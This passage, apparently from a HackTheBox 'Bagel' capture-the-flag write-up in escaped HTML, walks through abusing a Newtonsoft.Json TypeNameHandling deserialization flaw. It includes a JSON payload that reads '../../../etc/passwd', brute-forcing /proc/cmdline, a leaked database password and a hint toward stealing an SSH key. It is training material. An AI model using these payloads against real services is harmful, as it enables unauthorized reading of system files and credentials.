&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">resp&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">headers&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s2">&amp;#34;Content-Length&amp;#34;&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="nb">str&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">resp&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get_data&lt;/span>&lt;span class="p">()))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">return&lt;/span> &lt;span class="n">resp&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">return&lt;/span> &lt;span class="s2">&amp;#34;File not found&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">return&lt;/span> &lt;span class="n">redirect&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;http://bagel.htb:8000/?page=index.html&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">code&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">302&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nd">@app.route&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;/orders&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">order&lt;/span>&lt;span class="p">():&lt;/span> &lt;span class="c1"># don&amp;#39;t forget to run the order app first with &amp;#34;dotnet &amp;lt;path to .dll&amp;gt;&amp;#34; command. Use your ssh key to access the machine.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">try&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ws&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">websocket&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">WebSocket&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ws&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">connect&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;ws://127.0.0.1:5000/&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="c1"># connect to order app&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">order&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">{&lt;/span>&lt;span class="s2">&amp;#34;ReadOrder&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;orders.txt&amp;#34;&lt;/span>&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">data&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">str&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">json&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">dumps&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">order&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ws&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">send&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">data&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">result&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">ws&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recv&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">json&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">loads&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">result&lt;/span>&lt;span class="p">)[&lt;/span>&lt;span class="s1">&amp;#39;ReadOrder&amp;#39;&lt;/span>&lt;span class="p">])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">except&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Unable to connect&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="vm">__name__&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;__main__&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">app&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">run&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">host&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;0.0.0.0&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">port&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">8000&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Looking at the code, I got to know that a websocket server is running in port 5000 that is responsible for
the managing orders. It is using a json payload to i guess read orders.txt file to fetch the orders placed. Going to the &lt;code>bagel.htb:5000/orders&lt;/code> confirms this.
Also there are two interesting comments here,
&lt;div class="notice notice-note">
===> don't forget to run the order app first with "dotnet '&amp;lt;path to .dll&amp;gt;' command. Use your ssh key to access the machine.
&lt;/div>
From first line, it is clear that a &lt;code>dll&lt;/code> file is running as I am able to access the orders. This meant, I
will be able to exfil info of dll from &lt;code>/proc/{proc_no}/cmdline&lt;/code> to know the commands run.
&lt;div class="notice notice-info">
===> The file &lt;span style="color: #d461e8">/proc/{proc_no}/cmdline&lt;/span> in a Unix-like operating system (such as Linux) contains the command-line arguments passed to the process with the process ID {proc_no} when it was started. - ChatGPT
&lt;/div>
Second line says to use ssh key. So hinting at us to read &lt;code>id_rsa&lt;/code> file of a user.
Now I dont know the process number of a dll file. So i will brute force the &lt;code>proc_no&lt;/code> param from 1 to 1000.&lt;/p>
&lt;p>&lt;img src="https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/bagel/fuzzing.png"
width="1870"
height="784"
srcset="https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/bagel/fuzzing_hu24143c41584565b1b73b1667aec7d463_227968_480x0_resize_box_3.png 480w, https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/bagel/fuzzing_hu24143c41584565b1b73b1667aec7d463_227968_1024x0_resize_box_3.png 1024w"
loading="lazy"
class="gallery-image"
data-flex-grow="238"
data-flex-basis="572px"
>&lt;/p>
&lt;!-- ---------------------------------------------------------------------- -->
&lt;p>Now sorting all the responses by size, I found&lt;/p>
&lt;p>&lt;img src="https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/bagel/bagelinfo.png"
width="1874"
height="586"
srcset="https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/bagel/bagelinfo_hu51588849dcf01ee5688c8a760039eee5_287518_480x0_resize_box_3.png 480w, https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/bagel/bagelinfo_hu51588849dcf01ee5688c8a760039eee5_287518_1024x0_resize_box_3.png 1024w"
loading="lazy"
class="gallery-image"
data-flex-grow="319"
data-flex-basis="767px"
>&lt;/p>
&lt;!-- ---------------------------------------------------------------------- -->
&lt;p>I used this path in &lt;code>page&lt;/code> parameter on port 8000 to downlaod the file.
To debug this dll file, there are many options, &lt;a class="link" href="https://github.com/dnSpy/dnSpy" target="_blank" rel="noopener"
>&lt;code>dnSpy&lt;/code>&lt;/a>, &lt;a class="link" href="https://www.jetbrains.com/decompiler/" target="_blank" rel="noopener"
>&lt;code>dotPeek&lt;/code>&lt;/a>, &lt;a class="link" href="https://www.jetbrains.com/rider/" target="_blank" rel="noopener"
>&lt;code>Rider&lt;/code>&lt;/a>, &lt;a class="link" href="https://ghidra-sre.org/" target="_blank" rel="noopener"
>&lt;code>Ghidra&lt;/code>&lt;/a> etc. I am using &lt;code>Rider&lt;/code>.
Looking at the &lt;code>Bagel.cs&lt;/code> file, the function &lt;code>MessageRecieved&lt;/code> is deserialising the recieved request json payload from the client.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-csharp" data-lang="csharp">&lt;span class="line">&lt;span class="cl">&lt;span class="kd">private&lt;/span> &lt;span class="kd">static&lt;/span> &lt;span class="k">void&lt;/span> &lt;span class="n">MessageReceived&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">object&lt;/span> &lt;span class="n">sender&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">MessageReceivedEventArgs&lt;/span> &lt;span class="n">args&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">string&lt;/span> &lt;span class="n">json&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="s">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ArraySegment&lt;/span>&lt;span class="p">&amp;lt;&lt;/span>&lt;span class="kt">byte&lt;/span>&lt;span class="p">&amp;gt;&lt;/span> &lt;span class="n">data&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">int&lt;/span> &lt;span class="n">num&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">ArraySegment&lt;/span>&lt;span class="p">&amp;lt;&lt;/span>&lt;span class="kt">byte&lt;/span>&lt;span class="p">&amp;gt;.&lt;/span>&lt;span class="n">op_Inequality&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">args&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Data&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">ArraySegment&lt;/span>&lt;span class="p">&amp;lt;&lt;/span>&lt;span class="kt">byte&lt;/span>&lt;span class="p">&amp;gt;.&lt;/span>&lt;span class="n">op_Implicit&lt;/span>&lt;span class="p">((&lt;/span>&lt;span class="kt">byte&lt;/span>&lt;span class="p">[])&lt;/span> &lt;span class="kc">null&lt;/span>&lt;span class="p">)))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span> &lt;span class="n">data&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="n">args&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Data&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">num&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="n">data&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Count&lt;/span> &lt;span class="p">&amp;gt;&lt;/span> &lt;span class="m">0&lt;/span> &lt;span class="p">?&lt;/span> &lt;span class="m">1&lt;/span> &lt;span class="p">:&lt;/span> &lt;span class="m">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span> &lt;span class="k">else&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">num&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="m">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">num&lt;/span> &lt;span class="p">!=&lt;/span> &lt;span class="m">0&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span> &lt;span class="n">Encoding&lt;/span> &lt;span class="n">utF8&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="n">Encoding&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">UTF8&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">data&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="n">args&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Data&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">byte&lt;/span>&lt;span class="p">[]&lt;/span> &lt;span class="n">array&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="n">data&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Array&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">data&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="n">args&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Data&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">int&lt;/span> &lt;span class="n">count&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="n">data&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Count&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">json&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="n">utF8&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">GetString&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">array&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="m">0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">count&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span> &lt;span class="n">Handler&lt;/span> &lt;span class="n">handler&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="k">new&lt;/span> &lt;span class="n">Handler&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">object&lt;/span> &lt;span class="n">obj1&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="n">handler&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Deserialize&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">json&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">object&lt;/span> &lt;span class="n">obj2&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="n">handler&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Serialize&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">obj1&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">Bagel&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">_Server&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">SendAsync&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">args&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">IpPort&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">obj2&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">ToString&lt;/span>&lt;span class="p">(),&lt;/span> &lt;span class="k">new&lt;/span> &lt;span class="n">CancellationToken&lt;/span>&lt;span class="p">());&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Looking up the the &lt;code>Deserialize&lt;/code> function(&lt;code>cmd/ctrl+click&lt;/code>), it is using a function from &lt;code>Newtonsoft&lt;/code> library to deserialize json and return object. It has a configuration &lt;code>TypeNameHandling=4&lt;/code> which is
&lt;div class="notice notice-info">
===> &lt;span style="color: #d461e8">TypeNameHandling Enum Auto (4)&lt;/span>: Include the .NET type name when the type of the object being serialized is not the same as its declared type. This is useful when dealing with polymorphic types, where the runtime type of the object is different from the compile-time type. It ensures that type names are included only when the runtime type of the object being serialized is different from its declared type. This helps handle scenarios involving polymorphism without unnecessarily cluttering the JSON with type information for every object. --- ChatGPT
&lt;/div>
This is in short, we can give an object to be deserialized by setting a &lt;code>type&lt;/code> parameter in the data.
Now looking at the &lt;code>Orders.cs&lt;/code> file there are three functions available, &lt;code>RemoveOrder&lt;/code>, &lt;code>WriteOrder&lt;/code> and
&lt;code>ReadOrder&lt;/code>.
&lt;div class="notice notice-tip">
The &lt;span style="color: #d461e8">RemoveOrder&lt;/span> is an object here. This is a potential vector as objects can be used to call other objects.
&lt;/div>
&lt;code>ReadOrder&lt;/code> function is calling &lt;code>ReadFile&lt;/code> function from the &lt;code>File.cs&lt;/code> file. It is reading a file &lt;code>orders.txt&lt;/code> from &lt;code>/opt/bagel/orders/&lt;/code> directory. Now I can try reading data from this function by exploiting the
Deseriazation of arbitrary json data. Looking at &lt;a class="link" href="https://www.newtonsoft.com/json/help/html/SerializeTypeNameHandling.htm" target="_blank" rel="noopener"
>&lt;code>TypeNameHandling&lt;/code>&lt;/a> in Newtonsoft docs,&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-csharp" data-lang="csharp">&lt;span class="line">&lt;span class="cl">&lt;span class="n">Stockholder&lt;/span> &lt;span class="n">stockholder&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="k">new&lt;/span> &lt;span class="n">Stockholder&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">FullName&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="s">&amp;#34;Steve Stockholder&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">Businesses&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="k">new&lt;/span> &lt;span class="n">List&lt;/span>&lt;span class="p">&amp;lt;&lt;/span>&lt;span class="n">Business&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">new&lt;/span> &lt;span class="n">Hotel&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">Name&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="s">&amp;#34;Hudson Hotel&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">Stars&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="m">4&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">};&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kt">string&lt;/span> &lt;span class="n">jsonTypeNameAll&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="n">JsonConvert&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">SerializeObject&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">stockholder&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">Formatting&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">Indented&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="k">new&lt;/span> &lt;span class="n">JsonSerializerSettings&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">TypeNameHandling&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="n">TypeNameHandling&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">All&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">});&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Console&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">WriteLine&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">jsonTypeNameAll&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// {&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// &amp;#34;$type&amp;#34;: &amp;#34;Newtonsoft.Json.Samples.Stockholder, Newtonsoft.Json.Tests&amp;#34;,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// &amp;#34;FullName&amp;#34;: &amp;#34;Steve Stockholder&amp;#34;,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// &amp;#34;Businesses&amp;#34;: {&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// &amp;#34;$type&amp;#34;: &amp;#34;System.Collections.Generic.List`1[[Newtonsoft.Json.Samples.Business, Newtonsoft.Json.Tests]], mscorlib&amp;#34;,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// &amp;#34;$values&amp;#34;: [&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// {&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// &amp;#34;$type&amp;#34;: &amp;#34;Newtonsoft.Json.Samples.Hotel, Newtonsoft.Json.Tests&amp;#34;,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// &amp;#34;Stars&amp;#34;: 4,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// &amp;#34;Name&amp;#34;: &amp;#34;Hudson Hotel&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// }&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// ]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// }&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// }&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The commented section is the serialized output of the &lt;code>stockholder&lt;/code> object. The &lt;code>$type&lt;/code> holds two info, first one is the namespace, second is the assembly name(project_name).(ChatGPT explains it very clearly). Now for this case, namespace is &lt;code>bagel_server&lt;/code> and assembly name is &lt;code>bagel&lt;/code>, then rest of the params.
Now I can create a payload for &lt;code>RemoveOrder&lt;/code> which calls the &lt;code>ReadFile&lt;/code> function.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="err">❯&lt;/span> &lt;span class="n">echo&lt;/span> &lt;span class="s1">&amp;#39;{&amp;#34;RemoveOrder&amp;#34;: {&amp;#34;$type&amp;#34;: &amp;#34;bagel_server.File, bagel&amp;#34;, &amp;#34;ReadFile&amp;#34;: &amp;#34;../../../etc/passwd&amp;#34;}}&amp;#39;&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">jq&lt;/span> &lt;span class="p">.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;RemoveOrder&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;$type&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;bagel_server.File, bagel&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;ReadFile&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;../../../etc/passwd&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;div class="notice notice-info">
First I am calling the RemoveOrder and passing it the rest of the data. The namespace is &lt;span style="color: #d461e8">bagel_server.File&lt;/span> bcoz the &lt;span style="color: #d461e8">ReadFile&lt;/span> is in that file. The assembly is &lt;span style="color: #d461e8">bagel&lt;/span> as it is the project root name. I am calling then the &lt;span style="color: #d461e8">ReadFile&lt;/span> function and passing the file location as a param.
&lt;/div>
Looking further, there is also a &lt;code>DB.cs&lt;/code> file, which has some creds,&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-csharp" data-lang="csharp">&lt;span class="line">&lt;span class="cl">&lt;span class="kd">public&lt;/span> &lt;span class="k">void&lt;/span> &lt;span class="n">DB_connection&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">SqlConnection&lt;/span> &lt;span class="n">sqlConnection&lt;/span> &lt;span class="p">=&lt;/span> &lt;span class="k">new&lt;/span> &lt;span class="n">SqlConnection&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;Data Source=ip;Initial Catalog=Orders;User ID=dev;Password=k8wdAYYKyhnjg3K&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="port-5000">Port 5000
&lt;/h3>&lt;p>Nmap enumeration tried sending HTTP requests to it and got the server results. The header &amp;ldquo;Server: Microsoft-NetCore/2.0&amp;rdquo; reveals a &lt;code>.NET&lt;/code> service running in this port. From earlier enumeration, this is a websocket server. So I will send the payload to this port.&lt;/p>
&lt;p>To talk with a websocket server, I am using &lt;a class="link" href="https://github.com/websockets/wscat" target="_blank" rel="noopener"
>&lt;code>wscat&lt;/code>&lt;/a> tool.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="err">❯&lt;/span> &lt;span class="n">wscat&lt;/span> &lt;span class="c1">--connect ws://bagel.htb:5000/order&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Connected&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">press&lt;/span> &lt;span class="n">CTRL&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="n">C&lt;/span> &lt;span class="n">to&lt;/span> &lt;span class="n">quit&lt;/span>&lt;span class="p">)&lt;/span>
